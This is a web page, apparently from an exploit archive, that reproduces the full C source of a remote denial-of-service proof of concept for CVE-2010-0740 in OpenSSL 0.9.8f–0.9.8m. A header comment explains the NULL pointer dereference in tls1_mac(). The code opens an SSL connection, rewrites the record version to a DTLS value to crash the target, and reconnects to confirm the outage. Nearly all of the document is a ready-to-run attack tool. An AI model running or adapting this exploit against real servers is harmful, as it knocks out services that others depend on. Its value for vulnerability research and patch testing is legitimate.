扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 |
/*********************************************************** * hoagie_openssl_record_of_death.c * OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT * - OpenSSL 0.9.8m (short = 16 bit) * - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit) * * CVE-2010-0740 * * Bug discovered by: * Bodo Moeller and Adam Langley (Google) * Philip Olausson <po@secweb.se> * http://openssl.org/news/secadv_20100324.txt * * The main problem is in ssl/t1_enc.c => tls1_mac() function * * - OpenSSL 0.9.8m * if (ssl->version == DTLS1_BAD_VER || * (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)) * { * unsigned char dtlsseq[8],*p=dtlsseq; * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p); * * - OpenSSL 0.9.8f - 0.9.8n * if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER) * { * unsigned char dtlsseq[8],*p=dtlsseq; * * s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p); * * There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in * ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or * TLSv1_server_method() this variable will be NULL. * * If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied * its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff) * and transmit the packet to the server or client to trigger the vulnerability. * * When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not * a problem with signed/unsigned. * * If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability * via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work * if DTLS1_VERSION is 16 bit. * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF- * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY * DAMAGE DONE USING THIS PROGRAM. * * VOID.AT Security * andi@void.at * http://www.void.at * ************************************************************/ #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include <time.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <openssl/ssl.h> /* usage * display help screen */ void usage(int argc, char **argv) { fprintf(stderr, "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n" "\n" "-hhelp\n" "-vverbose\n" "-d host SSL server\n" "-p port SSL port\n" "-t target\n" " 0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n" " 1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n" , argv[0]); exit(1); } /* connect_to * connect to remote http server */ int connect_to(char *host, int port) { struct sockaddr_in s_in; struct hostent *he; int s; if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { return -1; } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = AF_INET; s_in.sin_port = htons(port); if ( (he = gethostbyname(host)) != NULL) memcpy(&s_in.sin_addr, he->h_addr, he->h_length); else { if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) { return -3; } } if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) { return -4; } return s; } /* ssl_connect_to * establish ssl connection over tcp connection */ SSL *ssl_connect_to(int s) { SSL *ssl; SSL_CTX *ctx; BIO *sbio; SSL_METHOD *meth; CRYPTO_malloc_init(); SSL_load_error_strings(); SSL_library_init(); // meth = TLSv1_client_method(); meth = SSLv23_client_method(); ctx = SSL_CTX_new(meth); ssl = SSL_new(ctx); sbio = BIO_new_socket(s, BIO_NOCLOSE); SSL_set_bio(ssl, sbio, sbio); if (SSL_connect(ssl) <= 0) { return NULL; } return ssl; } int main(int argc, char **argv) { struct sockaddr_in s_in; struct hostent *he; char data[1024]; int s; int target = 0; char c; char *destination = NULL; int port = 0; SSL *ssl = NULL; fprintf(stderr, "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n" "-andi / void.at\n\n"); if (argc < 2) { usage(argc, argv); } else { while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) { switch (c) { case 'h': usage(argc, argv); break; case 'd': destination = optarg; break; case 'p': port = atoi(optarg); break; case 't': target = atoi(optarg); break; } } if (!destination || !port) { fprintf(stderr, "[*] destination and/or port missing\n"); } else if (target && target != 1) { fprintf(stderr, "[*] invalid target '%d'\n", target); } else { s = connect_to(destination, port); if (s > 0) { fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port); ssl = ssl_connect_to(s); if (ssl) { fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port); snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n"); fprintf(stderr, "[+] sending first packet ...\n"); SSL_write(ssl, data, strlen(data)); if (!target) { ssl->version = DTLS1_BAD_VER; } else { ssl->version = DTLS1_VERSION; } fprintf(stderr, "[+] sending second paket ...\n"); SSL_write(ssl, data, strlen(data)); SSL_shutdown(ssl); close(s); sleep(1); s = connect_to(destination, port); if (s > 0) { fprintf(stderr, "[-] exploit failed\n"); close(s); } else { fprintf(stderr, "[+] exploit successful\n"); } } else { fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port); } } else { fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port); } } } return 0; } |
体验盒子
